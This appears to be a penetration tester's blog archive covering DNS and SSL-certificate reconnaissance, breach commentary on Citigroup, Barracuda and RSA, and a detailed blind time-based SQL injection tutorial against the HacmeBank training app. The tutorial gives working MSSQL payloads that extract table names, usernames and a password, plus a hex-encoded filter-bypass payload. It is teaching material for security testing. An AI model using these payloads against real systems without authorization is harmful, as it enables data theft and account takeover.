Thursday, January 19, 2012

Obtaining Host/Domain Names Through SSL Certificates

During vulnerability and penetration assessments one common beginning task is taking a given IP address space and identifying domain and host names that operate within. It's always helpful to know these names because a lot of web servers operate using host headers to direct web requests to the correct site content, i.e. you need the name to get to the right site. It's pretty easy to find a target company's domain by looking at their website or email addresses. Similarly it's pretty easy to append a "www." or "mail." to a company's domain name to find some basic host names. However, if you stopped there chances are you're missing something.

I always want to know what other domains and alternate host names are being hosted and specifically what web apps are running within those additional domain/host names. This is because I tend to get more mileage from web application vulnerabilities than I do from classic network vulnerabilities.

There are myriad ways of finding out this information. You might start with attempting zone transfers on the domains you do know to dump all host names. This rarely works so you might use a tool to identify host names based on a dictionary of potential values. This will work somewhat but those DNS records must be in your dictionary and you'll invariably miss some. For additional domain names, you might start performing reverse DNS lookups on the IP address space that's in scope for the assessment. Accurate reverse DNS zones are often not available so you might use a tool like Maltego which uses other information sources to identify those other domain names.

Yet another way of identifying straggling domain/host names is to grab SSL certificates on the network and look at the "commonName" attributes. Then you can take any new domain names identified and run them through the same process you already went through for the names you already knew. This may seem arcane but I've personally been in situations where I was unaware of a domain, obtained it through an SSL certificate, performed dictionary-based enumeration of the domain, and identified a hostname for a vulnerable web application listening on a site with host headers. The point is that I would have never known the app existed by just connecting to the web server's IP address without a name. Thorough coverage is the name of the game.

NMAP has a nice script built in to do just this:

nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open A.B.C.D/XY

Tuesday, September 27, 2011

Tool Review - Fierce by RSnake

Fierce is a simple but very useful DNS reconnaissance tool written by Robert Hansen (RSnake) that I use on virtually every pentest, vuln assessment, or application security assessment I'm involved in. There's nothing fancy or super-technical about this tool; it's just useful and deserves some mention. It combines the functionality of a handful of recon tools into one. It's original purpose was to identify targets for blind pentests for which the address space of the target is not known. However, it's also great way to enumerate DNS records on targets for which you do know the address space.

Fierce first identifies authoritative DNS servers for the target domain specified. The next thing it attempts is a zone transfer, or, a dump of all domain records from each authoritative DNS server. While nice (from a pen-tester's perspective), anonymous DNS zone transfers are rarely allowed these days.


If zone transfer fails then the real usefulness of Fierce becomes apparent. Fierce next brute-force DNS records using a dictionary of common hostnames. This will find DNS records such as www.depthsecurity.com, dev01.depthsecurity.com, cctv.depthsecurity.com and the like. There are other tools that do this but Fierce comes with an already-decent dictionary and does so much more. The real benefit of this, in my opinion, is finding host header names. When multiple, unique websites share the same IP address and port, a port scan will simply identify the single HTTP instance as open. Without the individual websites' hostnames, a pentester will miss the potentially vulnerable code/content of all those websites.


Fierce also has some interesting reverse DNS lookup options. Specifying the "-wide" option will cause Fierce to query PTR records for the entire class C space of any unique /24-bit networks it identifies.


Using the "-range" option along with either the "-dnsserver" or "-dnsfile" will perform reverse lookups for the range specified using the DNS server(s) included.

Tuesday, June 14, 2011

New Details on CitiGroup Compromise

The Daily Mail has a short article about how the recent compromise of 200,000+ Citigroup accounts occurred. Of course there is not much technical detail but the vulnerability and exploit are pretty obvious if what the article says is correct:  

"They simply logged on to the part of the group's site reserved for credit card customers - and substituted their account numbers which appeared in the browser's address bar with other numbers."

Seriously? This sounds like a plain old parameter tampering attack (forceful browsing, or whatever you want to call it). This wasn't even SQL injection which is easy enough. Even worse than that, the parameter in question sounds like it was an account number and that it was included in the URL of the request rather than within the body in a POST request. Straight out of Hacme Bank:



This attack might sound complicated to the masses who may not be familiar with application security but I assure you it is not. It's one of those "attacks" that anyone with basic knowledge of a browser is capable of successfully pulling off. It's an attack so easy that it almost gives some level of credibility to the way Hollywood portrays "hackers." I just change:

http://www.depthsecuritybank.com/home/?acct=MY_ACCOUNT_NUMBER

to

http://www.depthsecuritybank.com/home/?acct=YOUR_ACCOUNT_NUMBER

I guess I'm not that surprised since I continually run across applications in 2011 that are still vulnerable in a 1999 sort of way. So fair enough, it was an obvious vulnerability just waiting to be exploited by someone who noticed it. But wait, the article then contradicts itself by quoting an "expert" who is "part of the investigation." "He said: 'It would have been hard to prepare for this type of vulnerability.'" That's nonsense. The article also begins with, "It has been called 'one of the most brazen bank hacking attacks' in recent years." Brazen like fuzzing a small integer parameter in a URL until you harvest 200 thousand accounts? I guess so but maybe damaging was the adjective they should have used.

You don't "prepare" for vulnerabilities; you securely code your applications so that they don't contain them. You assume developers are going to create security flaws so you continually assess the security of sensitive applications to find and fix these vulnerabilities, especially low-hanging fruit like this one. 

Ironically, this is one of those types of vulnerabilities that's all but impossible for an automated web application vulnerability scanner to find but incredibly easy for even a savvy 12-year-old to discover. Can the security of any system be guaranteed? No way. Can a large bank be expected to prevent these types of vulnerabilities and compromises? Yep.

Some advice to avoid this type of an issue follows:
  1. Enforce authorization for every user request. When a user associated with account 0000001 makes a request for account 0256022, politely decline with a generic error message.
  2. Don't use direct object references whenever possible. Retrieve information like account numbers by accessing users' session objects rather than requiring that they be sent to the server. Think about it, why take from the user what you can get with a higher level of reliability from the server or database? If an 'id' is necessary for some reason then map a temporary value to the account number rather than using the actual account number in users' requests.
  3. Don't send sensitive information in the URL of a request. When in doubt, send parameters within the body of a POST request. This won't protect you from this type of attack but it makes the flaw slightly less obvious.

Friday, May 20, 2011

How to Get Properly Owned

 Here is some sage advice on how to be quickly and effectively compromised:
  • Expose unnecessary ports via NAT and firewall rules to your DMZ. I'm talking SSH, telnet, HTTP/S, SNMP, MS-SQL, MySQL, YourSQL, NetBIOS.... everything. If you're really serious about getting compromised, NAT public addresses to your internal Active Directory servers and database.If you don't have a firewall or a DMZ, all the better.
  • Make sure no effective firewall policies exist between networks of different types like Users > Servers or DMZ > databases. Such policies cause network connectivity issues and make troubleshooting take an extra second or two. Just put them all on one VLAN. Use VLAN 1 because it's easy to remember. For instance, you only have one brain, you probably only had one sandwich today, and it also exactly one half of two. VLAN 1 is not the default native VLAN for naught; use it.
  • Never patch any software. Pay particular attention to avoid checking for patches pertaining to commercial, off-the-shelf web applications or web application/server platforms. Flash and other Adobe products never need patching.
  • Do not perform network or web application security assessments. If you've had one performed before but your network/applications have changed significantly, rest assured that the last assessment covers your now completely different, current security posture.
  • Do not enforce password complexity or password change/age policies on users. If it is necessary to do so, ensure you exempt higher-ups like CEOs, CFOs, COOs, and the like when they complain about the policies. They can always be trusted to create a secure password on their own volition, plus no attacker would want access to their accounts anyway.
  • Conduct regular security awareness training for your users encouraging them to share passwords among the various applications they use like FaceBook, Amazon, eBay, PayPal, and Twitter. It makes it easier for them to stay logged in and avoids help desk calls for password resets.
  • Always leave default passwords the same. Some good username/password combinations are admin/admin, cisco/cisco, root/root, it's all secure enough.
  • If you use WEP for wireless encryption, make sure you keep using it. If you use WPA-PSK, make sure the key is simple and never changes. You might check the /pentest/passwords/wordlists/ dictionaries in BackTrack for some examples of PSKs to use. If you use 802.1x, make sure and uncheck "Validate Certificate Authority" and again, make sure no password complexity policies are enforced. Never concern yourself about rogue wireless access points that may be bleeding internal network access out into your parking-lot and surrounding streets. You want good coverage.
  • No matter the source, whether it be a website or an email from ch35pv!4gRa@spambot.cn, always click a link if it sounds interesting. If the description above the link seems seedy, invokes emotion, makes a pop culture reference, or expounds a deal that seems too good to be true, click it last year. Use that index finger.
  • Ignore all software and browser security warnings. They are simply a nuisance and you should click "run" when it says "warning" and "accept certificate" when it says "certificate cannot be verified."
  • Never run AntiVirus and if you do make sure you disable auto-update for virus definitions. Having a larger virus definitions file slows down your system. On the topic, always disable Auto-update features on all software.
  • Leave all switch ports that support dynamic trunking protocol in desirable mode if they are not being used as trunks. Ensure that VTP is used so that it's easy for a single switch to push VLAN database updates to all other switches in the VTP domain. While you're at it, enable CDP network-wide.
  • Disable SSL always; it's CPU intensive. If you must use SSL, use untrusted, self-signed certificates. It saves money and time.
  • Enable anonymous zone transfers on your external DNS servers. This makes it easier to find all of those pesky old hostnames like dev1.yourcompany.com and old_vulnerable_app.yourbusiness.org that might not otherwise be discoverable.

Friday, April 22, 2011

Blind SQL Injection & BurpSuite - Like a Boss

Data extraction with SQL injection used to be a lot easier a few years ago when it was less known, web application security was less mature, and errors were often exposed. It's very easy to use a variety of methods to cause errors to display database names, table names, column names, and even row values... when errors are enabled. These days, the SQL injection flaws that I am finding are largely of the "blind" type. To take a rough guess, I'd estimate this to be the case at least 8 out of 10 times. That is fine because blind SQL injection is still relatively easy to exploit.... with SQL injection in general still being used to great success in the wild.

There are plenty of SQL Injection tools out there that will work with blind or error-based vulnerabilities. Many of these are installed and ready to run on the BackTrack 4 R2. SQLMap is a good one but there are a lot and your success will vary. These tools can do more than just extract database data. They can get you root. Sometimes this just isn't in the cards for a variety of reasons and you just want to show proof of concept that you can pull back sensitive data through the web server. I love Burp's Intruder tool for this. I'll demonstrate some techniques below and use HacmeBank as a target even though errors are completely visible in this purposefully vulnerable app and blind techniques are not necessary.

The first thing we do is identify the vulnerable request:


We can send this request to the Repeater tool and inject the SQL syntax, " ' waitfor delay '0:0:30'-- " (omit the double quotes). The vulnerable web application will pass this SQL command directly to the login query causing a 30-second pause.


That's all just great but we want to do better than just pause the database during our login query. Let's set the HTTP timeout length from 60 seconds to 29 seconds in Burp's timeout options.


Ok, now we'll send our delay injection request over to the Intruder tool. This time the SQL syntax, " 'if (len(user)=1) waitfor delay '00:00:30'-- ." It's also necessary to now mark our payload position in Intruder. Put it where the "1" is.


Now that the payload position is marked, we need to define the payload. The SQL question is "How long is the USER variable?" Using a numeric payload, we'll guess 1 through 30, a wide margin indeed.


One more thing to do is to set the Intruder threads to 1, otherwise when one thread delays the SQL database, the others will be delayed as well and false positives will abound.


Now we should get the length of the "USER" variable in the SQL server when this Intruder attack is started. When the correct payload number is guessed, the application will pause for 30 seconds, expiring our 29-second Burp timeout value.


At this point a good thing to know is what those 3 characters are that comprise the "USER" variable's length. Just open another Intruder tab and we'll change the attack quite a bit. This time the SQL syntax will be " ' if (ascii(lower(substring((user),1,1)))=100) waitfor delay '00:00:30'-- " and there are actually two changing payloads (highlighted in bold). One is the position of the character and the second is the ASCII decimal code of the character in that position.


The first payload needs to be numeric and range from 1 to 3 since we know that's the number of the character positions whose ASCII codes we want to guess.


For the next payload, we look up our ASCII codes and ponder a bit. 48-126 will get us 0-9, A-Z, and a-z. In our SQL syntax above, you'll notice that we're using the "lower()" function to reduce the number of ASCII code values to guess but our number range will include them anyway so we're not saving any time there. Since we're asking for a username, I doubt there are any special characters (32-47) in it so we'll just be lazy and use 48-126.


Running this attack should yield the three ASCII codes for the SQL "USER" variable. Sorting the results by length will put all of the 0-length, timed out, "true," responses in line.


Reading the timed out (true) values:
  • Payload 1 value 1 = payload 2 value 100 which is "d
  • Payload 1 value 2 = payload 2 value 98 which is "b
  • Payload 1 value 3 = payload 2 value 111 which is "o
Dbo, a good proof of concept but we could have guessed it. Now let's go after some data. How about the SQL syntax, " ' if (ascii(lower(substring((select top 1 name from sysobjects where xtype=char(85) and name like '%user%'),1,1)))=100) waitfor delay '00:00:30'-- ?" This looks for a table that has the word "user" anywhere within. I'm not trying to be sneaky, and blind SQL injection is inherently not sneaky, so I'm just going to guess the length and set the first payload to 1 through 10. Hopefully the table is 10 characters or less in length. I'll keep the second payload at 48-126 (0-9, A-Z, a-z).


Running this attack should produce the ASCII codes for the first table that contains the word "user."

 
That looks like 102=fs, 98=b, 95=_, 117=u, 115=s, 101=e, 114=r, 115=s (fsb_users). Right on, so now we want the column names for this "fsb_users" table. For that we need to query the native Microsoft SQL "information_schema.columns" table. To do that, we'll use the following SQL syntax: " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='fsb_users'),1,1)))=100) waitfor delay '00:00:30'-- ." Again we'll use two payloads, one for character position and the other for ASCII decimal code.


Running this attack will enumerate the first column in the "fsb_users" table.


That spells "user_id" which is not very important to me but it does mean that the syntax for the next column in the "fsb_users" table will be, " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='fsb_users' and column_name > 'user_id'),1,1)))=100) waitfor delay '00:00:30'-- ."


Running this attack yields the second column name of the "fsb_users" table.


That's better because this looks like a column name for which I would be interested in row values. The "user_name" table can be used again, iteratively, to retrieve the third column using the following syntax, " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='fsb_users' and column_name > 'user_name'),1,1)))=100) waitfor delay '00:00:30'-- " 

However, let's take a leap of faith and guess at the password column using the "like" operative: " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='fsb_users' and column_name like '%pass%'),1,1)))=100) waitfor delay '00:00:30'-- " 


Running this will give us the name of the first column in the "fsb_users" table that contains the string, "pass."


So now we have the predictable, "password" column which we can pair with the "user_name" column to start pulling some rows out. The SQL syntax will be, " ' if (ascii(substring((select top 1 user_name from fsb_users),1,1))=100) waitfor delay '00:00:30'-- ." I took the "lower()" function out just in case the usernames are case-sensitive in the login function. 


I want to make sure we account for enough characters that might comprise the first user_name value so I'll bump payload 1 up to the range, 1 - 15. We'll leave the second payload the same as before.


Running this attack should output the first "user_name" value in the "fsb_users" table.


So the first "user_name" is "Jake_Reynolds." The next query will target this user's password. The SQL syntax is, " ' if (ascii(substring((select top 1 password from fsb_users where user_name = 'Jake_Reynolds'),1,1))=100) waitfor delay '00:00:30'-- ." The payload settings can be left alone assuming the user's password is 15 characters or less in length.


Running this attack should reveal the password for the user, "Jake_Reynolds." Any web application worth it's salt is going to hash the password columns and use salt so that collision attacks are difficult. HacmeBank contains an unhashed database column. The following screenshot illustrates why you should make sure and encrypt or hash your password columns:


"Jake_Reynolds/P@55w0rd" it is then. Let's test it out of course.


Works for me. Let's take it a little further though. I have run up against web applications that filter for various SQL syntax like "select" and other basic SQL key words whilst still using vulnerable dynamic SQL statements on the back end. I've always maintained that input validation is not a very effective means of preventing SQL injection and that real remediation means changing your database access layer to use parameterized/precompiled queries.

One way I've bypassed input filters that look for common words like "if" and "select" is to create a variable, cast it as hex, and execute it. Take the following SQL syntax for instance:

" ';declare @P varchar(4000);set @P=cast(0x69662028617363696928737562737472696e67282873656c65637420746f7020312070617
373776f72642066726f6d206673625f757365727320776865726520757365725f6e616d65203d20274a6
16b655f5265796e6f6c647327292c312c3129293d313030292077616974666f722064656c6179202
730303a30303a333027 AS varchar(4000));exec(@P);-- "

The 0x69662028617363696928737562737472696e67282873656c65637420746f7020312070617
373776f72642066726f6d206673625f757365727320776865726520757365725f6e616d65203d20274a6
16b655f5265796e6f6c647327292c312c3129293d313030292077616974666f722064656c6179202
730303a30303a333027 is simply a hex-encoded version of the string, " if (ascii(substring((select top 1 password from fsb_users where user_name = 'Jake_Reynolds'),1,1))=100) waitfor delay '00:00:30' . "


One extra thing we need to do is to add payload processing rules in Intruder to hex-encode both of our payloads since they occur within the hex cast.


Now when we run this attack, we get the same results as before and we retrieve the password for "Jake_Reynolds" with one exception. Our values are now ASCII-hex-encoded values of ASCII-decimal codes.


This time, our results are hexadecimal values for our decimal ASCII codes. So if you follow it:
  • Payload 1 value 0x31 = 1 = Payload 2 value 0x38 0x30 = 80 = "P"
  • Payload 1 value 0x32 = 2 = Payload 2 value 0x36 0x34 = 64 = "@"
  • Payload 1 value 0x33 = 3 = Payload 2 value 0x35 0x33 = 53 = "5"
and so on until you get "P@55w0rd," an admittedly bad password to use on my precious FoundStone bank account. Anyway, that's blind, delay-based, SQL injection data extraction the hard way using BurpSuite to make it easier.

Tuesday, April 12, 2011

More SQL Injection: Barracuda Networks Hacked

Barracuda Networks is latest on the list of security vendors/service providers to be compromised. The Malaysian group, "HMSec," used blind SQL injection to retrieve database contents including emails, CMS logins, and MD5-hashed passwords. A post on barracudalabs.com titled "Learning the Importance of WAF Technology – the Hard Way" explains that, "The Barracuda Web Application Firewall in front of the Barracuda Networks Web site was unintentionally placed in passive monitoring mode and was offline through a maintenance window that started Friday night (April 8 ) after close of business Pacific time." It goes on to state that no financial information was stored on this database and that users' password hashes were salted.

I think the title of that barracudalabs.com post is a little bit off. I think it should read, "Learning the Importance of Secure Software Development the Hard Way." This just goes to show that WAFs, while great for certain things, are merely a secondary security control. Secure application development best practices (like not string-concatenating user input with database queries) are a primary security control. A WAF can shield certain issues from exploitation before you have a chance to fix them at their source but you should not rely on the WAF to protect you from severe flaws like SQL injection. After all, what happens when the WAF becomes disabled or gets put into monitor-only mode?

Friday, March 18, 2011

RSA Breached by Advanced Persistent Threat

RSA has announced that they have been compromised by an "extremely sophisticated cyber attack" of which details are not clear. All that is known is that RSA's two-factor authentication seems to be affected. The degree to which this breach impacts their two-factor authentication solutions is not known and RSA has filed an 8-K with the SEC so don't expect too many details while the investigation is ongoing.